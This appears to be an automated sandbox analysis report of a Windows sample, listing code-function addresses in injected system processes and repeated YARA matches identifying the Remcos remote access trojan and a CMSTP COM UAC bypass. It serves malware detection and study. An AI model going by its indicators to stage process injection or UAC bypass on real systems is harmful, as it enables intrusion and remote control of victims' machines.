Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29157C40	8_2_29157C40
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29156E9F	8_2_29156E9F
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2916DEED	8_2_2916DEED
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29165EEB	8_2_29165EEB
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2916E11C	8_2_2916E11C
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2914F18B	8_2_2914F18B
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291841D9	8_2_291841D9
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291681E8	8_2_291681E8
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29144005	8_2_29144005
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2916706A	8_2_2916706A
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2916E34B	8_2_2916E34B
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291833AB	8_2_291833AB
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29176270	8_2_29176270
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29167566	8_2_29167566
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2916E5A8	8_2_2916E5A8
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2915742E	8_2_2915742E
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291687F0	8_2_291687F0
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: 10_2_02AA20C4	10_2_02AA20C4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0043706A	15_2_0043706A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00414005	15_2_00414005
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0043E11C	15_2_0043E11C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004541D9	15_2_004541D9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004381E8	15_2_004381E8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0041F18B	15_2_0041F18B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00446270	15_2_00446270
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0043E34B	15_2_0043E34B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004533AB	15_2_004533AB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0042742E	15_2_0042742E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00437566	15_2_00437566
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0043E5A8	15_2_0043E5A8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004387F0	15_2_004387F0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0043797E	15_2_0043797E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004339D7	15_2_004339D7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0044DA49	15_2_0044DA49
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00427AD7	15_2_00427AD7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0041DBF3	15_2_0041DBF3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00427C40	15_2_00427C40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00437DB3	15_2_00437DB3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00435EEB	15_2_00435EEB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0043DEED	15_2_0043DEED
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00426E9F	15_2_00426E9F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077F87F4	15_2_077F87F4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0781E766	15_2_0781E766
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0780869B	15_2_0780869B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_078046F4	15_2_078046F4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0780950D	15_2_0780950D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_07808283	15_2_07808283
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0780F2C5	15_2_0780F2C5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077F814B	15_2_077F814B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_078240C8	15_2_078240C8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0780F068	15_2_0780F068
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_07816F8D	15_2_07816F8D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_07808F05	15_2_07808F05
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_07824EF6	15_2_07824EF6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0780EE39	15_2_0780EE39
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077EFEA8	15_2_077EFEA8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_07807D87	15_2_07807D87
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077E4D22	15_2_077E4D22
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_07806C08	15_2_07806C08
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0780EC0A	15_2_0780EC0A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077F7BBC	15_2_077F7BBC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_07808AD0	15_2_07808AD0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077F895D	15_2_077F895D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077EE910	15_2_077EE910

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 0780551E appears 40 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 00434801 appears 41 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 00401E65 appears 34 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 077D2B82 appears 34 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 00434E70 appears 54 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 07805B8D appears 54 times
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: String function: 0445551E appears 40 times
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: String function: 29131E65 appears 34 times
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: String function: 29164E70 appears 54 times
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: String function: 04422B82 appears 34 times
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: String function: 29132093 appears 50 times
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: String function: 04455B8D appears 54 times
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: String function: 29164801 appears 41 times
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: String function: 02AA4860 appears 683 times
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: String function: 02AB894C appears 50 times
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: String function: 02AA46D4 appears 155 times
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: String function: 02C689D0 appears 45 times
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: String function: 02C6894C appears 56 times
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: String function: 02C544DC appears 74 times
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: String function: 02C54500 appears 33 times
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: String function: 02C54860 appears 949 times
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: String function: 02C546D4 appears 244 times

Source: jlPBMMQbXC.exe	Binary or memory string: OriginalFilename vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9F7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000002.1578952321.0000000002C7E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000002.1578952321.0000000002C7E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000002.1630792872.000000007F388000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameReadIcon.exe\ vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1555406818.000000000E444000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1386950607.000000007FCDF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000002.1638986421.000000007FB20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1555406818.000000000E473000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000002.1577348813.0000000002435000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000000.1382432413.0000000000487000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameReadIcon.exe\ vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs jlPBMMQbXC.exe
Source: jlPBMMQbXC.exe	Binary or memory string: OriginalFilenameReadIcon.exe\ vs jlPBMMQbXC.exe

Source: jlPBMMQbXC.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
